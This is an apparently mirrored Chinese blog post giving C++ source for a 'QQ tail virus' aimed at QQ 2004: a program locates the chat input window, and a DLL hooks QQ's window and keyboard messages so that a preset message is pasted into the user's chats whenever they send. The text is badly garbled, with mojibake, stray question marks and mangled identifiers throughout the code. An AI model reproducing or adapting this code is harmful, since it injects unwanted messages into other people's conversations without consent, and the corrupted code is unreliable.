QQ2004's RICH handle lookup method and the implementation of the tail virus

xiaoxiao2021-03-06  51

Seeing a lot of people in questioning QQ problems, mainly about the problem of studying QQ tail, there are many examples on the Internet, but when using the code provided by the author, it is not possible to find Richedit correctly, so it cannot be Mounting hooks, below, should be possible, with the source code of QQHOOK.

In fact, the key is that the 2004 version of QQ it has made a hand feet, adds a form on the original form, so the original author cannot find the handle of the Rich window.

Test CPP

#include

// # include

#include "QQHook.h" #pragma comment (lib, "QQHook.lib") # include "resource.h" #define ID_MYTIMER 419 // ¼ÆÊ ± Æ ÷ IDBOOL g_bStart; HWND g_hQQ; LRESULT CALLBACK ProcMain (HWND hDlg, UINT MSG, WPARAM WPARAM, LPARAM LPARAM, {? ​​Switch (msg)? {? Case wm_close:? // ?? AnimateWindow (HDLG, 800, aw_hide | aw_slide | aw_ver_positive); ??? enddialog (hdlg, 0); ?? ? Break ;? case wm_command: ??? {????? if (wparam) == IDC_BTN_CONTROL) ????? {??????? g_bstart =! g_bstart; ?????? ? Setdlgitemtext (hdlg, idc_btn_control, g_bstart? "£ ¹¹": "¿ªªª1/1/4"); ??????? f (g_bstart) ????????? settimer (HDLG, ID_MYTIMER, 1000, NULL ); ??????? Else ????????? KillTimer (HDLG, ID_MYTIMER); ????????? STHOOK (NULL); ?? ?????} ?????} ????? f (loword (wparam) == IDC_BTN_EXIT) ??????? SendMessage (HDLG, WM_CLOSE, 0, 0); ???}? ?? Break; ??? postquitMessage (0); ??? Break; ??? {????? int x, y; ????? Rect; ??? ?? g_bstart = false; ????? getWindowRect (HDLG, & Rect); ????? x = getSystemMetrics (SM_CXSCREEN) - RECT. Right Rect.Left; ????? y = getSystemMetrics - Rect.Bottom Rect.top - 10; ????? setWindowPos (HDLG, HWND_TOPMOST, X, Y, 0, 0, SWP_NOSIZE | SWP_NOZORDER ); ?? // ?? AnimateWindow (HDLG, 800, aw_slide | aw_ver_negative); ???} ??? Break;? Case wm_timer: ??? {????? ing (! Iswindow (g_hqq))? ???? {??????? ??????? hWnd hWnd; ?? hsend; ?? //? CWnd * myWnd; ?? int nidfirst; ?? int flag; ?? char lpbuff [256]; ?? // ?? DWORD A; ??????? g_hqq = null; ?? hsend = null; ??????? seton (null); ?? //? do ?? //? {??/ ??? g_hqq = findwindowex (null, g_hqq, "# 32770", null); ??? ???? // ?? getWindowText (g_hqq, lpbuf, 255); ????? //? IF (strcmp (lpbuf, "

Óë · é áäìö ") == 0) Break; ?? // ?? hsend = findwindowex (g_hqq, null," button "," · ¢ ëí (& s) "); ?????? //?} While (! (g_hqq! = null && hsend! = null); ?? nidfirst = 0; ?? flag = 0; ?? While (1) ?? {??? g_hqq = findwindowex (null, g_hqq, "# 32770 ", NULL); ??? IF (g_hqq == null) Break; ??? getWindowText (g_hqq, lpbuf, 256); ?????? hwnd = getWindow (g_hqq, gw_child); ??? IF ( HWnd || :: iswindow (hwnd)) ??? {???? nidfirst = getdlgctrlid (hwnd); ????? getClassName (hwnd, lpbuf, 256);? ??????? IF (strcmp (lpbuf, "# 32770") == 0) ????? {?????? hsend = findwindowex (hwnd, hsend, "button", "¢ ëí (& S) "); ?????? f (hsend) ?????? {??????? flag = 1; ??????? g_hqq = hwnd; ????? ?? Break; ??????} ?????} ????? getWindowText (hwnd, lpbuf, 256); ???????? hWnd = :: getWindow (hwnd, gw_hwndnext); ??????? IF (! :: iswindow (hwnd) || hWnd == null) ?? Break; ????} while (nidfirst! = getdlgctrlid (hwnd)); ????} ?? ?? IF (flag) Break; ??} ??????? IF (g_hqq! = null) ????????? STHOOK (G_HQQ); ?????} ???}? ?? Break ;?}? Return 0;} int WinStance, Hinstance Hinstance, LPSTR LPCMDLINE, INT NSHOWCMD) {? Dialogb OXPARAM (Hinstance, MakeintResource (IDD_DIALOG), NULL, (DLGPROC) procmain, 0) ;? DWORD A = getLastError (); Return 0;}

?

QQ hook source code

CPP file

#include

#define qqtailapi __declspec (dllexport)

#include "qqhook.h"

// ¶ ò¹¹2ïíêý4¾¶¶îîîî

#pragma data_seg ("Shared")

HHOOK G_HPROC = NULL; // '° ¹¹¹3¹¹3 × ó/4Ä ± ±

HHOOK G_HKEY = null; // 1/4üå¹¹3 × 子4Ä ± ú

HWND g_hrich = null; // îä ± 3/4¿ ò/4Ä ± ú

#pragma data_seg ()

#pragma Comment (Linker, "/ Section: Shared, RWS")

// dll/4Ä ± ú

Hinstance g_hinstdll = null;

// îòμÄ¡ ° 2 ° í. ±

Tchar g_str [] = "/ n¶ô2» æð £ ¬Äúòòò¾ ± ± £ ûûû¹¹¹ì £ "; // ¯ê¹¹|Äü £ oïòîä ± ± £ £ oïòî¹¹ òöõ3ìùî2 ° í

Void Pastetext (HWND HRICH)

{

Hglobal HMEM;

? Lptstr pstr;

? // öåÄÄú'æ¿¿¿ Õõä

? // sendMessage (HRICH, WM_SETTEXT, 0, LPARAM (""));

HMEM = GLOBALLOC (GHND | GMEM_SHARE, SIZEOF (g_str));

PSTR = (LPTSTR) Globalock (HMEM);

? lstrcpy (pstr, g_str);?

? GlobalUnlock (HMEM);

OpenClipboard (NULL);

? Emptyclipboard ();

? // éèö1/11ìù ° åîä ± 3/4

• setClipboardData (CF_Text, HMEM);

CLOSECLIPBOARD ();

? // êí · åäú'æ¿ Õõä

? GlobalFree (HMEM);

? // õ 3ìõùùîä ± 3/4

? SendMessage (HRICH, WM_PASTE, 0, 0);

}

// ¹3 × ¹¹¹3ì £ ¬¬ààêó¡¡ ° · ¢ ëí¡¡ ± μäãüîûûûû ¢

LResult Callback CallWndProc (int Ncode, WPARAM WPARAM, LPARAM LPARAM)

{

CWPSTRUCT * P = (cwpstruct *) lparam;

? // 2¶ »ñ¡ ° · ¢ ëí¡¡ ± ° å ¥

? IF (p-> message == wm_command && loword (p-> wparam) == 1)

??? Pastetext (g_hrich);

Return CallNexthookex (g_hproc, ncode, wparam, lparam);

}

// 1/4üå¹¹3 × ¹¹¹3ì £ ¬¬àààêó¡ ° · ¢ ëí¡¡ ± μäèè1/4üûûûû ¢

Lresult Callback KeyboardProc (int Ncode, WPARAM WPARAM, LPARAM LPARAM)

{

? // 2¶ »ñèè1/4üûûû ¢

? IF (wparam == vk_return && getasynckeystate (vk_control) <0 && lparam> = 0)

??? Pastetext (g_hrich);

Return CallNexthookex (G_hKey, Ncode, WPARAM, LPARAM);

}

// ¹¹1/2 ¹¹3 × ó

Bool WinAPI STHOK (HWND HQQ)

{

? BOOL BRET = FALSE;

? IF (hqq! = null)

? {

??? DWORD DWTHREADID = GetWindowThreadProcessId (HQQ, NULL);

??? // ¸ðð »oãóhotteyμä²õõ''âë ¬¬¡¡¡¡ È áëîò¹¹óãspy μÄâé 3

??? g_hrich = getWindow (getdlgitem (hqq, 0), gw_child);

??? i (g_hrich == null)

????? Return False;

??? // ¹¹1/2 ¹¹3 × ó

??? g_hproc = setWindowshookex (Wh_CallWndProc, CallWndProc, g_hinstdll, dwthreadid);

??? g_hkey = setWindowshookex (wh_keyboard, keyboardproc, g_hinstdll, dwthreadid); ??? Bret = (g_hproc! = null) && (g_hkey! = null);

?

? Else

? {

??? // ¶ôô¹3 × ó

??? Bret = UnHookWindowsHookex (g_hproc) && unhookwindowshookex (g_hkey);

??? g_hproc = null;

??? g_hKey = null;

??? g_hrich = null;

?

RETURN BRET;

}

// DLLö ÷ o ¯êý

Bool WinApi Dllmain (Hinstance Hinstdll, DWord FDWREASON, LPVOID LPVRESERVED)

{

? IF (fdwreason == dll_process_attach)

??? g_hinstdll = hinstdll;

Return True;

}

?

head File

#ifndef qqtailapi # Define qqtailapi __declspec (dllimport) #ENDIFQQTAILAPI BOOL WINAPI STHOOK (HWND HQQ);

?

转载请注明原文地址:https://www.9cbs.com/read-116221.html

New Post(0)